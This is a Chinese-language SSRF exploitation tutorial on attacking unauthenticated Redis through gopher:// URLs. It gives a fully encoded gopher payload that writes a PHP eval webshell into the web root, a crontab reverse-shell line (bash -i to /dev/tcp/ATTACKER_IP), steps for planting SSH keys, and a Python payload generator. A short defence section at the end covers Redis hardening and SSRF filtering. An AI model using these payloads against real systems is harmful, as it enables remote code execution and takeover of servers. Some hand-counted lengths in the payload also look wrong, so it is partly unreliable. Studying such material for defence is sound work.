SSRF漏洞利用:Gopher协议攻击Redis实现权限提升
1. 项目概述:从SSRF读文件到Gopher协议攻击Redis的跃迁
很多朋友在接触SSRF(服务器端请求伪造)漏洞时,第一反应往往是利用它去读取服务器本地的敏感文件,比如/etc/passwd、/proc/self/environ或者应用的配置文件。这确实是一个经典的利用姿势,但如果你只停留在这个层面,那就大大低估了SSRF的威力。今天,我想和你深入聊聊一个更具实战价值的攻击路径:如何利用SSRF,通过Gopher协议,精准打击一个未授权访问的Redis服务,并最终实现命令执行或写入Webshell。这不仅仅是“读文件”,而是“拿权限”的本质区别。
这个攻击链的核心在于两个关键点的结合:一是目标服务器上存在一个可以内网访问且未设置密码的Redis实例(这在一些开发、测试环境甚至生产环境中并不少见),二是存在一个能够发起任意协议请求的SSRF漏洞。Gopher协议在这里扮演了“万能胶水”的角色,它能将我们精心构造的Redis命令,伪装成一个看似无害的请求,通过存在漏洞的Web应用发送给本机的Redis,从而完成一系列高危操作。我见过太多只做了基础SSRF检测就收工的渗透测试报告,而忽略了内网更深层的攻击面,这其实是一种资源的浪费。接下来,我将带你完整走一遍从原理理解、Payload构造、编码处理到实战利用的全过程,让你手里的SSRF漏洞真正“物尽其用”。
2. 攻击原理深度拆解:为什么是Gopher与Redis?
2.1 Gopher协议:被遗忘的“上古神器”
Gopher是一个比HTTP还要古老的网络协议,在万维网诞生之初曾短暂流行。它的设计极其简单,本质上是一个支持发送任意TCP数据包的协议。客户端向Gopher服务器发送一个选择器字符串(通常以换行结束),服务器则返回相应的文本或二进制数据。正是这种“简单粗暴”的特性,使得它在SSRF攻击中焕发了第二春。
注意:现代浏览器基本已不再支持Gopher协议,但这恰恰是它在SSRF攻击中的优势。因为许多服务端网络请求库(如Python的
urllib、PHP的file_get_contents/curl、Java的URLConnection等)在支持file://、http://、ftp://的同时,也可能支持gopher://。攻击者可以利用这一点,让服务器应用代替浏览器,向任意内网服务的任意端口发送我们精心构造的原始TCP数据。
当存在SSRF漏洞的应用,其后端请求函数支持Gopher协议时,我们就能通过一个gopher://<target_ip>:<port>/_格式的URL,向指定的IP和端口发送我们嵌入在URL路径中的原始数据。这些数据会原封不动地通过TCP连接发送出去,这就为我们与像Redis这样的纯文本协议服务直接“对话”创造了条件。
2.2 Redis未授权访问:内网的“隐形炸弹”
Redis以其高性能和简单易用著称,默认情况下,它监听6379端口,且没有启用身份验证。许多开发者和运维人员为了图省事,或者因为缺乏安全意识,会直接让Redis服务运行在0.0.0.0(所有接口)上,并且不配置requirepass密码。这就导致了“Redis未授权访问”漏洞的普遍存在。
攻击者一旦能够连接到Redis服务,就拥有了极高的权限,因为Redis的命令本身就是为了数据操作而设计,其中一些命令在特定用法下会产生安全风险:
- 数据操作:可以任意清空、写入、读取数据。
- 配置修改:通过
CONFIG SET命令,可以动态修改Redis服务器的运行时配置,例如数据持久化的目录(dir)和文件名(dbfilename)。 - 持久化机制:
SAVE或BGSAVE命令会将当前内存中的数据以RDB格式持久化到磁盘。
将第2点和第3点结合起来,就构成了攻击的基石:我们可以通过CONFIG SET命令,将持久化目录设置为Web应用的根目录(如/var/www/html),将持久化文件名设置为一个以.php结尾的文件(如shell.php),然后通过SET命令向一个键写入PHP代码,最后执行SAVE。Redis会将这些数据(包括我们写入的PHP代码)当作数据库内容,保存到指定的Web目录下的PHP文件中,从而生成一个Webshell。
2.3 SSRF + Gopher + Redis:攻击链的形成
现在,我们把三者串联起来:
- 入口:一个存在SSRF漏洞的Web应用(例如,一个提供了URL预览功能且未做严格过滤的接口)。
- 桥梁:该Web应用的后端请求库支持Gopher协议。
- 目标:与Web应用同服务器或同内网的一台Redis服务(
127.0.0.1:6379),且未授权访问。 - 攻击过程:
- 攻击者构造一个恶意的Gopher URL,其中包含了符合Redis协议格式的、用于写入Webshell或计划任务的一系列命令。
- 攻击者将该URL提交给存在SSRF漏洞的接口。
- Web应用后端解析该URL,向
127.0.0.1:6379发起一个Gopher请求。 - Redis服务器收到这个请求,将其视为一个合法的客户端连接,并执行其中包含的所有命令。
- 命令执行成功,Webshell被写入指定目录,或者计划任务被写入
crontab。 - 攻击者访问Webshell或等待计划任务执行,从而获得服务器权限。
这个攻击链之所以高效,是因为它完全在应用层逻辑内完成,绕过了网络层的防火墙限制(因为请求发自本机或内网),并且利用了Redis协议的无状态和明文特性。
3. Redis协议解析与Payload手工构造
要构造Gopher攻击Payload,你必须先理解Redis客户端与服务端通信的协议格式。Redis使用一种名为RESP(REdis Serialization Protocol)的简单文本协议。作为攻击者,我们只需要模拟客户端向服务器发送命令的部分。
3.1 RESP协议基础格式
RESP协议有几种不同的数据类型,对于命令传输,主要使用“数组”(Array)和“批量字符串”(Bulk String)。
- 数组(Array):以
*开头,后面跟着数组的元素个数(即命令的参数个数),以\r\n(CRLF)结束。例如,命令SET key value包含三个参数:SET、key、value,所以数组表示为*3\r\n。 - 批量字符串(Bulk String):以
$开头,后面跟着字符串的字节长度,然后是\r\n,再然后是字符串内容本身,最后以\r\n结束。例如,字符串SET的长度是3,所以表示为$3\r\nSET\r\n。
一个完整的SET key value命令在RESP协议中的表示如下:
*3\r\n $3\r\n SET\r\n $3\r\n key\r\n $5\r\n value\r\n为了便于阅读,我加了换行,实际上在传输时,\r\n是换行符,整个命令是一个连续的字节流:*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n。
3.2 攻击命令序列分解
我们的目标通常是写入Webshell或计划任务。以下是一个典型的攻击序列,我以写入Webshell为例进行分解:
清空当前数据库(可选,避免干扰):
FLUSHALL- 参数个数:1
- Payload:
*1\r\n$8\r\nFLUSHALL\r\n
设置一个键,其值为我们的Webshell代码:
SET shell "<?php @eval($_POST['cmd']);?>"- 这里有一个关键点:直接写入的PHP代码如果包含单引号、空格等特殊字符,在后续的URL编码和Redis解析中可能会出问题。一个更稳健的做法是将代码写入一个键,但为了演示,我们先构造一个简单的。假设我们写入的键名为
1,值为\n\n<?php\n@eval($_REQUEST['cmd']);\n?>\n\n(前后加换行是为了避免Redis持久化文件时可能存在的格式问题,增加成功率)。 - 参数个数:3 (
SET,1,webshell_code) - 计算:
SET长度为3,1长度为1,webshell代码字符串长度需要精确计算。我们假设代码为\n\n<?php\n@eval($_REQUEST['cmd']);\n?>\n\n,注意这里\n是一个字符(ASCII 10)。我们数一下:\n(1) +\n(1) +<?php(5) +\n(1) +@eval($_REQUEST['cmd']);(25) +\n(1) +?>(2) +\n(1) +\n(1) =38个字符。 - Payload:
*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$38\r\n\n\n<?php\n@eval($_REQUEST['cmd']);\n?>\n\n\r\n
- 这里有一个关键点:直接写入的PHP代码如果包含单引号、空格等特殊字符,在后续的URL编码和Redis解析中可能会出问题。一个更稳健的做法是将代码写入一个键,但为了演示,我们先构造一个简单的。假设我们写入的键名为
修改Redis配置,设置持久化目录为Web根目录:
CONFIG SET dir /var/www/html- 参数个数:4 (
CONFIG,SET,dir,/var/www/html) - 计算:
CONFIG长度6,SET长度3,dir长度3,/var/www/html长度14。 - Payload:
*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html\r\n
- 参数个数:4 (
修改Redis配置,设置持久化文件名为Webshell文件:
CONFIG SET dbfilename shell.php- 参数个数:4 (
CONFIG,SET,dbfilename,shell.php) - 计算:
dbfilename长度10,shell.php长度9。 - Payload:
*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n
- 参数个数:4 (
触发持久化,将内存数据(包含我们的Webshell)保存到磁盘:
SAVE- 参数个数:1
- Payload:
*1\r\n$4\r\nSAVE\r\n
(可选)退出连接:
QUIT- 参数个数:1
- Payload:
*1\r\n$4\r\nQUIT\r\n
现在,我们将所有这些Payload片段按顺序拼接起来,形成一个完整的Redis命令流。记住,中间没有任何多余的换行或空格,就是严格的字节流拼接。
*1\r\n$8\r\nFLUSHALL\r\n*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$38\r\n\n\n<?php\n@eval($_REQUEST['cmd']);\n?>\n\n\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*1\r\n$4\r\nSAVE\r\n*1\r\n$4\r\nQUIT\r\n这个字节流,就是我们想要通过Gopher协议发送给Redis的原始数据。
4. Gopher协议封装与多重URL编码
原始的Redis命令流无法直接作为URL的一部分,我们必须对其进行编码,使其符合URL的规范,同时还要满足Gopher协议的一些特殊要求。
4.1 Gopher URL格式与编码规则
一个基本的Gopher URL格式为:gopher://<host>:<port>/<gopher-path>。 其中<gopher-path>的构成是:一个字符(表示资源类型,通常用_) + 我们实际要发送的TCP数据。
关键规则如下:
- 数据中的换行:必须使用
%0D%0A(即\r\n的URL编码)来表示。在我们的Redis命令流中,所有的\r\n都需要被替换成%0D%0A。 - 问号
?的处理:在URL中,问号用于分隔路径和查询参数。如果我们的数据中包含字面量的问号(比如PHP代码里的<?php),必须对其进行URL编码,即%3F。 - 空格等其他特殊字符:空格需要编码为
%20,单引号'编码为%27,等等。基本上,除了字母数字和少数安全字符(如-,_,.,~),其他字符都应进行百分号编码。 - Gopher路径前缀:Gopher路径通常以一个字符开头,我们使用下划线
_。注意,这个_本身不需要编码,但它后面的第一个字符如果具有特殊含义(例如是*,在RESP协议中表示数组),则必须编码,否则可能会被Gopher客户端或服务端错误解析。一个稳妥的做法是,将_之后的所有数据(即整个Redis命令流)都进行URL编码。
4.2 分步编码实战
让我们对上一步拼接好的命令流进行编码。为了清晰,我分步进行:
步骤一:将命令流中的\r\n替换为%0D%0A这是最重要的一步。替换后,我们的数据变成了一个很长的字符串,其中包含了未编码的<,?,',空格等字符。
*1%0D%0A$8%0D%0AFLUSHALL%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$1%0D%0A1%0D%0A$38%0D%0A\n\n<?php\n@eval($_REQUEST['cmd']);\n?>\n\n%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0ASAVE%0D%0A*1%0D%0A$4%0D%0AQUIT%0D%0A注意,这里的\n我仍然保留为两个字符\和n,因为在我们的原始字符串字面量中,它代表换行符(ASCII 10)。在下一步整体编码时,它会被编码。
步骤二:对整个字符串进行URL编码我们需要对上述字符串中所有非字母数字的字符进行百分号编码。这个过程很繁琐,极易出错,强烈建议使用脚本或在线编码工具。编码后,<变成%3C,?变成%3F,\n(单个换行符)变成%0A,单引号'变成%27,空格变成%20,等等。
经过完整编码后,我们得到一个“面目全非”但符合URL规范的字符串。这里我给出一个编码后的关键部分示例(非完整,因篇幅过长):
*1%0D%0A%248%0D%0AFLUSHALL%0D%0A*3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2438%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html%0D%0A...注意看,$被编码成了%24,{被编码成了%7B,等等。
步骤三:组装最终的Gopher URL将编码后的字符串,拼接到Gopher URL的路径部分,前面加上_(或_后直接接编码数据,如果编码数据的第一个字符是%则没问题)。
gopher://127.0.0.1:6379/_*1%0D%0A%248%0D%0AFLUSHALL%0D%0A*3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2438%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0ASAVE%0D%0A*1%0D%0A%244%0D%0AQUIT%0D%0A这个长长的URL,就是我们的攻击Payload。当存在SSRF漏洞的应用去请求这个URL时,它就会把编码后的Redis命令流发送给本机的6379端口。
实操心得:手工构造和编码这样的Payload极其容易出错,一个字符算错长度、一个换行符编码错误都会导致Redis服务器解析失败。在实际渗透测试中,我强烈推荐使用工具自动化完成。例如,可以使用Python脚本,先按照RESP协议构造好命令的字节流,然后使用
urllib.parse.quote函数进行URL编码,最后拼接到Gopher URL中。这能极大提高效率和准确性。
5. 实战利用场景与高级Payload构造
5.1 场景一:写入Webshell
上述示例就是写入Webshell的完整流程。成功执行后,Redis会在/var/www/html目录下生成一个名为shell.php的文件,内容包含我们写入的PHP代码。攻击者随后访问http://target.com/shell.php?cmd=system('whoami');即可执行系统命令。
高级技巧:绕过WAF或过滤
- 短标签:如果目标PHP环境开启了短标签,可以使用
<?=代替<?php,缩短Payload长度。 - 编码混淆:可以将PHP代码进行Base64编码,然后通过
eval(base64_decode(...))执行。这有时可以绕过一些简单的关键词过滤。 - 利用Redis主从复制:在Redis 4.x/5.x中,如果无法直接
CONFIG SET(可能被禁用),可以尝试利用Redis的主从复制机制,让目标Redis作为从节点,从我们控制的恶意主节点同步数据,其中包含恶意的模块(.so文件)或计划任务,从而实现RCE。这需要更复杂的交互,但规避了CONFIG命令的限制。
5.2 场景二:写入Crontab计划任务(Linux)
另一种常见的利用方式是向/var/spool/cron/crontabs/root(或对应用户的crontab文件)写入计划任务,从而实现定时反弹Shell或执行命令。
Payload构造思路:
- 使用
CONFIG SET dir /var/spool/cron/crontabs设置目录。 - 使用
CONFIG SET dbfilename root设置文件名(对于root用户)。 - 使用
SET命令写入一个键,其值为计划任务内容,例如:\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'\n\n。 - 执行
SAVE。
关键注意事项:
- 系统差异:如参考文章所述,Ubuntu系统的cron对文件格式检查非常严格,Redis写入时可能包含的额外换行符或不可见字符会导致cron无法正确解析该文件,从而使任务失效。而CentOS等系统可能容忍度更高。因此,在Ubuntu上通过cron反弹Shell成功率较低。
- 路径确认:不同Linux发行版的crontab路径可能略有不同,需要根据目标系统确认。常见路径还有
/var/spool/cron/root(CentOS)或/etc/cron.d/。 - 反弹Shell命令:
bash -i >& /dev/tcp/...是经典的Bash TCP重定向反弹Shell,确保目标系统有/dev/tcp这个特殊设备(Bash内置支持)。
5.3 场景三:写入SSH公钥
如果目标服务器开放了SSH服务(通常为22端口),且Redis运行用户(通常是redis)有权限写入~/.ssh/authorized_keys文件,那么我们可以通过写入SSH公钥实现免密登录。
Payload构造思路:
- 在攻击机上生成SSH密钥对:
ssh-keygen -t rsa。 - 将公钥文件(
id_rsa.pub)的内容准备好,确保格式正确(以ssh-rsa AAA...开头,末尾有注释)。 - 使用
CONFIG SET dir /home/redis/.ssh或/root/.ssh(取决于权限)。 - 使用
CONFIG SET dbfilename authorized_keys。 - 使用
SET命令写入一个键,其值为你的公钥内容,同样建议前后加换行。 - 执行
SAVE。 - 使用私钥(
id_rsa)直接SSH登录目标服务器。
这种方法比Webshell和Cron更隐蔽,因为SSH登录是正常的管理行为。
6. 自动化工具与脚本辅助
手工构造太痛苦,我们必须借助自动化。这里我分享一个用Python编写的简单Payload生成脚本的核心逻辑。你可以根据实际需求进行扩展。
import urllib.parse def generate_redis_gopher_payload(commands): """ 根据Redis命令列表生成Gopher URL编码后的Payload。 commands: 一个字符串列表,每个元素是一条完整的Redis命令,如 'SET key value' """ resp_parts = [] for cmd in commands: parts = cmd.split() # 构造RESP数组 resp_parts.append(f"*{len(parts)}\\r\\n") for part in parts: # 构造RESP批量字符串 resp_parts.append(f"${len(part)}\\r\\n{part}\\r\\n") # 合并所有RESP部分 raw_payload = ''.join(resp_parts) # 进行URL编码,注意先替换\r\n为%0D%0A,然后编码其他字符 # 这里我们直接对整个字符串进行编码,quote函数会处理大部分字符,但我们需要确保\r\n被正确编码。 # 一个更稳妥的方法是先编码,再替换。 encoded_payload = urllib.parse.quote(raw_payload, safe='') # 由于quote不会编码 \r 和 \n(它们是控制字符),所以我们需要手动替换 encoded_payload = encoded_payload.replace('\\r', '%0D').replace('\\n', '%0A') # 组装Gopher URL gopher_url = f"gopher://127.0.0.1:6379/_{encoded_payload}" return gopher_url # 示例:写入Webshell的命令序列 webshell_commands = [ "FLUSHALL", "SET 1 \\n\\n<?php\\n@eval($_REQUEST['cmd']);\\n?>\\n\\n", "CONFIG SET dir /var/www/html", "CONFIG SET dbfilename shell.php", "SAVE", "QUIT" ] payload = generate_redis_gopher_payload(webshell_commands) print(payload)注意:这个示例脚本在处理包含空格、引号和换行符的命令参数时可能不够健壮。在实际使用中,你需要更精细地构造RESP协议格式,特别是对于包含特殊字符的值(如我们的Webshell代码),应该先将其作为Python字符串处理好,再计算长度和拼接。网上有许多成熟的开源工具,如
redis-rogue-server、SSRFmap等,已经实现了更健壮的Payload生成功能,建议在实战中优先使用这些工具。
7. 防御策略与排查建议
作为防守方,了解攻击手法是为了更好地防御。如果你负责运维,以下措施至关重要:
Redis安全配置:
- 强制设置密码:在
redis.conf中配置requirepass yourStrongPassword。 - 禁止远程访问:绑定到本地回环地址
bind 127.0.0.1或内网IP,切勿绑定0.0.0.0。 - 重命名或禁用危险命令:使用
rename-command配置项,将FLUSHALL、CONFIG、EVAL等命令重命名为随机字符串或直接禁用(重命名为"")。 - 以低权限用户运行:不要使用
root用户运行Redis服务。 - 启用保护模式:确保
protected-mode设置为yes(默认)。
- 强制设置密码:在
网络层隔离:将Redis服务部署在内网,通过防火墙严格限制访问源IP,只允许特定的应用服务器访问。
Web应用层防御(针对SSRF):
- 输入校验与过滤:对用户输入的URL进行严格的白名单校验,只允许访问预期的域名和IP。如果业务只允许HTTP/HTTPS,则直接禁用
gopher://、file://、ftp://等危险协议。 - URL解析与限制:使用安全的URL解析库,避免通过
@、#等字符进行绕过。对重定向进行严格管控。 - 出站网络限制:在服务器或容器层面,使用防火墙或安全组策略,限制Web应用服务器的出站连接,只允许访问必要的服务端口,阻断到内网Redis端口的连接。
- 输入校验与过滤:对用户输入的URL进行严格的白名单校验,只允许访问预期的域名和IP。如果业务只允许HTTP/HTTPS,则直接禁用
入侵检测与监控:
- 监控Redis日志:关注异常的
CONFIG SET、FLUSHALL命令,尤其是对dir和dbfilename的修改。 - 监控文件系统变化:在Web目录或cron目录部署文件完整性监控(FIM),及时发现异常的
.php文件或crontab修改。 - 网络流量分析:监控Web服务器是否有异常的外连或向非常见端口(如6379)发起的连接。
- 监控Redis日志:关注异常的
攻击与防御是一场永不停歇的博弈。通过SSRF利用Gopher攻击Redis,是一条经典且有效的内网横向移动路径。理解其原理、掌握手工和自动化构造Payload的方法,不仅能让你在渗透测试中多一种利器,更能让你从防御者的角度,看清整个攻击链的薄弱环节,从而构建起更稳固的安全防线。记住,真正的安全不在于完全杜绝漏洞,而在于当一层防御被突破时,还有下一层防御在等待。